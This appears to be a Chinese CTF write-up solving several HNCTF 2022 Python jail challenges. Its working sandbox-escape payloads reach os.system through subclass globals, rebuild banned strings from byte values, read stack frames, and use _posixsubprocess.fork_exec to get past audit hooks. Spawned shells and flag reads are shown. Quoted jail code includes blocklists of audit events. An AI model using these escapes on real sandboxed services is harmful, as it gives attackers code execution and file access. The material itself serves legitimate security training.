(type(str(1).encode())([99]).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([32])).__add__(type(str(1).encode())([102])).__add__(type(str(1).encode())([108])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([103])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([48])).__add__(type(str(1).encode())([117])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([67])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([70])).__add__(type(str(1).encode())([105])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([100])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([109])).__add__(type(str(1).encode())([69]))).decode()

然后执行

[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]((type(str(1).encode())([99]).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([32])).__add__(type(str(1).encode())([102])).__add__(type(str(1).encode())([108])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([103])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([48])).__add__(type(str(1).encode())([117])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([67])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([70])).__add__(type(str(1).encode())([105])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([100])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([109])).__add__(type(str(1).encode())([69]))).decode())
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!
> [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]((type(str(1).encode())([99]).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([32])).__add__(type(str(1).encode())([102])).__add__(type(str(1).encode())([108])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([103])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([48])).__add__(type(str(1).encode())([117])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([67])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([70])).__add__(type(str(1).encode())([105])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([100])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([109])).__add__(type(str(1).encode())([69]))).decode())
flag=NSSCTF{54dae8dc-ad5c-40d2-9907-76c7955b86bf}
Answer: 0

 法二:仍然是4.1的payload接着用:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!
> ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
sh: 0: can't access tty; job control turned off
$ ls
flag_y0u_CaNt_FiNd_mE  server.py
$ cat flag_y0u_CaNt_FiNd_mE
flag=NSSCTF{54dae8dc-ad5c-40d2-9907-76c7955b86bf}
$ 

法三: 还是利用__doc__的方法但需要改变字符串的拼接方法:除了直接用+连接字符串以外,还有一种常用的方法,如字符串'1234'可以用如下的方式得到:

''.join(['1', '2', '3', '4'])

 但是我们需要绕过一开始的'',直接用str()

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!
> ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))
sh: 0: can't access tty; job control turned off
$ ls
flag_y0u_CaNt_FiNd_mE  server.py
$ cat flag_y0u_CaNt_FiNd_mE
flag=NSSCTF{54dae8dc-ad5c-40d2-9907-76c7955b86bf}
$ 

 [HNCTF 2022 WEEK2]calc_jail_beginner_level4.3(JAIL)

题目描述:

So cool that u finished the 4.1 challenge
filter +++ try again!!!

 连接靶机

nc node5.anna.nssctf.cn 28460                                                                                                    ─╯

  _                _                           _       _ _   _                _ _  _   ____  
 | |              (_)                         (_)     (_) | | |              | | || | |___ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_  __) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _||__ < 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_ ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)____/ 
              __/ |                          _/ |                                            
             |___/                          |__/                                             
                                                                                                                                                                                      
    
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,",',+ Good luck!
> 

哎!终于ban了type,但是又学到了一招list(dict(system=114514))[0]可以获取system这个字符串

因此直接执行system(sh)

[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[list(dict(system=1))[0]](list(dict(sh=1))[0])
nc node5.anna.nssctf.cn 28460                                                                                                    ─╯

  _                _                           _       _ _   _                _ _  _   ____  
 | |              (_)                         (_)     (_) | | |              | | || | |___ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_  __) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _||__ < 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_ ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)____/ 
              __/ |                          _/ |                                            
             |___/                          |__/                                             
                                                                                                                                                                                      
    
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,",',+ Good luck!
> [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[list(dict(system=1))[0]](list(dict(sh=1))[0])
sh: 0: can't access tty; job control turned off
$ ls
flag_7e86c334669ecf2edb5bd7f7fdd0ea8e  server.py
$ cat flag_7e86c334669ecf2edb5bd7f7fdd0ea8e
flag=NSSCTF{6af5fcec-b72b-43f9-84c7-37caf8f183dc}
$ 

而且发现这道题使用上题的法二法三还能接着用哈哈哈。。

[HNCTF 2022 WEEK2]calc_jail_beginner_level5(JAIL)

 连接靶机

nc node5.anna.nssctf.cn 28532                                                                                                    ─╯

  _                _                           _       _ _ _                _ _____ 
 | |              (_)                         (_)     (_) | |              | | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| | |__  
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ |___ \ 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____/ 
              __/ |                          _/ |                                   
             |___/                          |__/                                                                                                                                                                     

It's so easy challenge!
Seems flag into the dir()
> 

 可以直接open然后read

open("flag").read()
nc node5.anna.nssctf.cn 28532                                                                                                    ─╯

  _                _                           _       _ _ _                _ _____ 
 | |              (_)                         (_)     (_) | |              | | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| | |__  
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ |___ \ 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____/ 
              __/ |                          _/ |                                   
             |___/                          |__/                                                                                                                                                                     

It's so easy challenge!
Seems flag into the dir()
> open("flag").read()
'flag=NSSCTF{2698d16a-843a-466f-a3f8-8ecdebf10e48}\n'

实属非预期了,因为没看到源码。。

 [HNCTF 2022 WEEK2]calc_jail_beginner_level5.1(JAIL)

连接靶机

nc node5.anna.nssctf.cn 28529                                                                                                    ─╯

  _                _                           _       _ _ _                _ _____ __ 
 | |              (_)                         (_)     (_) | |              | | ____/_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| | |__  | |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ |___ \ | |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |___) || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)_|
              __/ |                          _/ |                                      
             |___/                          |__/                                                                                                                                                                                             

It's so easy challenge!
Seems flag into the dir()
> 

根据尝试,__import__open都给ban了

提示dir()

> dir()
['__builtins__', 'my_flag']

看到有个my_flag,使用dir跟进

> dir(my_flag)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'flag_level5']

看到一个flag_level5

继续跟进

> dir(my_flag.flag_level5)
['__add__', '__class__', '__contains__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__module__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'removeprefix', 'removesuffix', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

发现有个encode方法,直接调用即可

nc node5.anna.nssctf.cn 28529                                                                                                    ─╯

  _                _                           _       _ _ _                _ _____ __ 
 | |              (_)                         (_)     (_) | |              | | ____/_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| | |__  | |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ |___ \ | |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |___) || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)_|
              __/ |                          _/ |                                      
             |___/                          |__/                                                                                                                                                                                             

It's so easy challenge!
Seems flag into the dir()
> my_flag.flag_level5.encode()
b'flag=NSSCTF{f9e51524-8c5a-4a06-a42b-4b7788fbc123}\n'

[HNCTF 2022 WEEK2]laKe laKe laKe(JAIL)

附件信息

查看代码
 #You finsih these two challenge of leak
#So cool
#Now it's time for laKe!!!!

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec', 'open']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
    del __builtins__.__dict__[m]


def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
        input_data = eval_func(input(''),{},{})
    except Exception:
        sys.stdout = challenge_original_stdout
        print("Seems not right! please guess it!")
        return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
        game_score += 1
    
    return game_score

WELCOME='''
  _       _  __      _       _  __      _       _  __    
 | |     | |/ /     | |     | |/ /     | |     | |/ /    
 | | __ _| ' / ___  | | __ _| ' / ___  | | __ _| ' / ___ 
 | |/ _` |  < / _ \ | |/ _` |  < / _ \ | |/ _` |  < / _ \
 | | (_| | . \  __/ | | (_| | . \  __/ | | (_| | . \  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
                                                         
'''

def main():
    print(WELCOME)
    print('Welcome to my guesser game!')
    game_score = guesser()
    if game_score == 1:
        print('you are really super guesser!!!!')
        print(open_func('flag').read())
    else:
        print('Guess game end!!!')

if __name__ == '__main__':
    sys.addaudithook(my_audit_hook)
    main()

这题又是个非预期,原因是没有ban open

上来就hook了大部分函数

def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))

分析一下关键猜数字的函数

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
        input_data = eval_func(input(''),{},{})
    except Exception:
        sys.stdout = challenge_original_stdout
        print("Seems not right! please guess it!")
        return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
        game_score += 1
    
    return game_score

可知我们需要猜出right_guesser_question_answer才可以获取flag,同时还给sys.stdout、sys.seterr进行了重定向,调用print无法输出。

但是可以通过__import__("sys").__stdout__.write()去输入。

那么我们的思路就是,读文件,然后输出

用os.open打开文件,然后用os.read读文件,当然也可以用__import__('io').open("flag").read()

__import__("sys").__stdout__.write(__import__("os").read(__import__("os").open("flag",__import__("os").O_RDONLY), 0x114).decode())
nc node5.anna.nssctf.cn 28112                                                                                                    ─╯

  _       _  __      _       _  __      _       _  __    
 | |     | |/ /     | |     | |/ /     | |     | |/ /    
 | | __ _| ' / ___  | | __ _| ' / ___  | | __ _| ' / ___ 
 | |/ _` |  < / _ \ | |/ _` |  < / _ \ | |/ _` |  < / _  | | (_| | . \  __/ | | (_| | . \  __/ | | (_| | . \  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
                                                         

Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > __import__("sys").__stdout__.write(__import__("os").read(__import__("os").open("flag",__import__("os").O_RDONLY), 0x114).decode())
flag=NSSCTF{350b6c52-8650-445c-b8f1-d159478e392a}
Guess game end!!!

[HNCTF 2022 WEEK2]lak3 lak3 lak3(JAIL)

附件信息

查看代码
 #Hi hackers,lak3 comes back
#Have a good luck on it! :Wink:

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
    del __builtins__.__dict__[m]


def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
        input_data = eval_func(input(''),{},{})
    except Exception:
        sys.stdout = challenge_original_stdout
        print("Seems not right! please guess it!")
        return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
        game_score += 1
    
    return game_score

WELCOME='''
  _       _    ____    _       _    ____    _       _    ____  
 | |     | |  |___ \  | |     | |  |___ \  | |     | |  |___ \ 
 | | __ _| | __ __) | | | __ _| | __ __) | | | __ _| | __ __) |
 | |/ _` | |/ /|__ <  | |/ _` | |/ /|__ <  | |/ _` | |/ /|__ < 
 | | (_| |   < ___) | | | (_| |   < ___) | | | (_| |   < ___) |
 |_|\__,_|_|\_\____/  |_|\__,_|_|\_\____/  |_|\__,_|_|\_\____/ 
                                                                                                                                                                       
'''

def main():
    print(WELCOME)
    print('Welcome to my guesser game!')
    game_score = guesser()
    if game_score == 1:
        print('you are really super guesser!!!!')
        print('flag{fake_flag_in_local_but_really_in_The_remote}')
    else:
        print('Guess game end!!!')

if __name__ == '__main__':
    sys.addaudithook(my_audit_hook)
    main()

这个厉害了,上来直接把io、system之类的函数全给hook掉了,还把上一题的open等更多的函数给ban了

def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))

但是别急哈哈,先分析代码需要猜对数字才能获取flag 

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
        input_data = eval_func(input(''),{},{})
    except Exception:
        sys.stdout = challenge_original_stdout
        print("Seems not right! please guess it!")
        return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
        game_score += 1
    
    return game_score

正确答案在right_guesser_question_answer里面。但如何获取该值呢?

搜索了好多信息,最后在官方文档里找到一个很6的函数

居然还可以获取调用栈的帧对象,默认的参数是0,但是在这里如果传入0的话就会获取eval的调用栈帧,所以得deep一层

__import__("sys")._getframe(1)

我们试试看是啥情况,有个小技巧,可以使用__import__("sys").__stdout__.write去进行标准输出,这也是上一个非预期的输出方法。

__import__("sys").__stdout__.write(str(__import__('sys')._getframe(1)))
Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > __import__("sys").__stdout__.write(str(__import__('sys')._getframe(1)))
<frame at 0x7f00ab5e1590, file '/home/ctf/./server.py', line 31, code guesser>Guess game end!!!

这里的frame对象指向了'/home/ctf/./server.py'这个file,那么直接调用f_locals属性查看变量

__import__("sys").__stdout__.write(str(__import__('sys')._getframe(1).f_locals))
Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > __import__("sys").__stdout__.write(str(__import__('sys')._getframe(1).f_locals))
{'game_score': 0, 'right_guesser_question_answer': 4392334357835, 'challenge_original_stdout': <_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>}Guess game end!!!

我们可以看到获取到了right_guesser_question_answer的值,所以最后的payload为:

int(str(__import__('sys')._getframe(1).f_locals["right_guesser_question_answer"]))
nc node5.anna.nssctf.cn 28916                                                                                                    ─╯

  _       _    ____    _       _    ____    _       _    ____  
 | |     | |  |___ \  | |     | |  |___ \  | |     | |  |___ \ 
 | | __ _| | __ __) | | | __ _| | __ __) | | | __ _| | __ __) |
 | |/ _` | |/ /|__ <  | |/ _` | |/ /|__ <  | |/ _` | |/ /|__ < 
 | | (_| |   < ___) | | | (_| |   < ___) | | | (_| |   < ___) |
 |_|\__,_|_|\_\____/  |_|\__,_|_|\_\____/  |_|\__,_|_|\_\____/ 
                                                                                                                                                                       

Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > int(str(__import__('sys')._getframe(1).f_locals["right_guesser_question_answer"]))
you are really super guesser!!!!
NSSCTF{d3b7930b-8a52-4e39-8459-238a68a74e06}

[HNCTF 2022 WEEK2]4 byte command

连接靶机

nc node5.anna.nssctf.cn 28088                                                                                                    ─╯

  _                _                           _       _ _   _                _ _  _   
 | |              (_)                         (_)     (_) | | |              | | || |  
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_ 
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _|
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |  
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_|  
              __/ |                          _/ |                                      
             |___/                          |__/                                                                                                                                             

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> 

看题目估计是限制了4个字符,直接sh试试

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> sh
sh: 0: can't access tty; job control turned off
$ ls
flag  server.py
$ cat flag
flag=NSSCTF{ccc603df-da5e-4b88-9036-34e08288ac55}
$ 

[HNCTF 2022 WEEK3]s@Fe safeeval(JAIL)

连接靶机

Terminal features will not be available.  Consider setting TERM variable to your current terminal name (or xterm).

              ______                __                     _  
        ____ |  ____|              / _|                   | | 
  ___  / __ \| |__ ___   ___  __ _| |_ ___  _____   ____ _| | 
 / __|/ / _` |  __/ _ \ / __|/ _` |  _/ _ \/ _ \ \ / / _` | | 
 \__ \ | (_| | | |  __/ \__ \ (_| | ||  __/  __/\ V / (_| | | 
 |___/\ \__,_|_|  \___| |___/\__,_|_| \___|\___| \_/ \__,_|_| 
       \____/                                                                                                                                                                                                                         

Turing s@Fe mode: on
Black List:

    [
        'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
        'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
        'BUILD_CONST_KEY_MAP', 'BUILD_STRING','LOAD_CONST','RETURN_VALUE',
        'STORE_SUBSCR', 'STORE_MAP','LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE',
        'DICT_UPDATE', 'DICT_MERGE','UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
        'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY','BINARY_DIVIDE','BINARY_FLOOR_DIVIDE',
        'BINARY_TRUE_DIVIDE','BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT','BINARY_LSHIFT',
        'BINARY_RSHIFT','BINARY_AND','BINARY_XOR','BINARY_OR','MAKE_FUNCTION', 'CALL_FUNCTION'
    ]

some code:

    import os
    import sys
    import traceback
    import pwnlib.util.safeeval as safeeval
    input_data = input('> ')
    print(expr(input_data))
    def expr(n):
        if TURING_PROTECT_SAFE:
            m = safeeval.test_expr(n, blocklist_codes)
            return eval(m)
        else:
            return safeeval.expr(n)

> 

发现给了部分代码。

对比下pwnlib.util.safeeval中的代码,可以看到blacklist中多了两个可以执行的opcode

  • MAKE_FUNCTION
  • CALL_FUNCTION

很显然出题人想让我们执行函数调用/编写。

第一时间能想到的是lambda,然后直接调用就行了,payload为:

(lambda:os.system('cat flag'))()
> (lambda:os.system('cat flag'))()
flag=NSSCTF{1b948a6a-1a40-47f5-a7c9-183735b54742}
0

[HNCTF 2022 WEEK3]calc_jail_beginner_level6(JAIL)

连接靶机

 _                _                           _       _ _   _                _   __  
 | |              (_)                         (_)     (_) | | |              | | / /  
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |/ /_  
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \ 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ | (_) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|\___/ 
              __/ |                          _/ |                                     
             |___/                          |__/                                                                                                                                                              
  
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
White list of audit hook ===> builtins.input,builtins.input/result,exec,compile
Some code of python jail:

  dict_global = dict()
    while True:
      try:
          input_data = input("> ")
      except EOFError:
          print()
          break
      except KeyboardInterrupt:
          print('bye~~')
          continue
      if input_data == '':
          continue
      try:
          complie_code = compile(input_data, '<string>', 'single')
      except SyntaxError as err:
          print(err)
          continue
      try:
          exec(complie_code, dict_global)
      except Exception as err:
          print(err)
  
> 

这道题难度挺大,看了大佬的WP才明白,来源:https://zhuanlan.zhihu.com/p/579183067

这题已经几乎把所有的hook给ban掉了。参考这个writeup:https://ctftime.org/writeup/31883

也就是利用_posixsubprocess.fork_exec来实现RCE。不过需要注意,不同的python版本的_posixsubprocess.fork_exec接受的参数个数可能不一样:例如本地WSL的python版本为3.8.10,该函数接受17个参数;而远程python版本为3.10.6,该函数和上面的writeup接受21个参数。

而且注意到,直接import _posixsubprocess的话,会触发audit hook:

Operation not permitted: import

但可以通过如下方法绕过:

__builtins__['__loader__'].load_module('_posixsubprocess')

或者

__loader__.load_module('_posixsubprocess')

而且因为是多次exec,所以我们可以输入多行代码:

import os
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)
> import os
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)
> 10
> /bin/sh: 0: can't access tty; job control turned off
$ ls
name 'ls' is not defined
> cat flag
flag=NSSCTF{2fc7edc8-f1ff-48e4-ae32-57a69231c320}
$ 

[HNCTF 2022 WEEK3]calc_jail_beginner_level6.1(JAIL)

连接靶机

nc node5.anna.nssctf.cn 28824                                                                                                    ─╯

  _                _                           _       _ _   _                _   __  
 | |              (_)                         (_)     (_) | | |              | | / /  
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |/ /_  
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \ 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ | (_) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|\___/ 
              __/ |                          _/ |                                     
             |___/                          |__/                                                                                                                                                              
  
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
White list of audit hook ===> builtins.input,builtins.input/result,exec,compile
Some code of python jail:

    dict_global = dict()
    input_code = input("> ")
    complie_code = compile(input_code, '<string>', 'single')
    exec(complie_code, dict_global)
  
> 

解题方法来源:calc_jail_beginner_level6.1

本题和上题不同,因为我们只有一次代码执行机会。

我们可以使用python 3.8引入的海象运算符和list的方式弄出代码:

[os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), _posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)]

但是发现payload刚发送过去虽然可以弹shell,但是shell秒关。

假设暴力多次尝试shell,会发生什么:

[os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in range(10000000000)]]

这样的话会多次尝试shell。然后我们先将要执行的shell命令复制进剪贴板,在它疯狂回显的时候,疯狂粘贴回车,看看能不能执行,需要手速或者循环的更多。结果居然有一定概率会回显执行命令的结果!吼吼真好玩。。这样就能拿到flag。。哎

[HNCTF 2022 WEEK3]calc_jail_beginner_level7(JAIL)

 连接靶机

